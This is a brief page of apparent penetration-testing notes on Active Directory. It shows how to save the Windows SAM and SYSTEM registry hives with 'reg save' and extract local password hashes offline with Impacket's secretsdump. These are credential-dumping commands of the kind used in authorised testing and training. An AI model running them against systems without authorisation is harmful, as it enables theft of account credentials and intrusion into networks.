> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/credentials/sam-extraction-from-registry-files.md).
# SAM extraction with registry files
Active Directory security notes for SAM extraction with registry files, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.
### Back up SAM and SYSTEM hives
From Windows:
```bash
reg save hklm/sam sam.save
```
Then:
```bash
reg save hklm/system system.save
```
These files are then transferred to a Linux machine for offline analysis.
### Analysis with Impacket
On Linux:
```bash
secretsdump.py -sam sam.save -system system.save LOCAL
```
This command extracts local hashes from backed-up registry hives.
---
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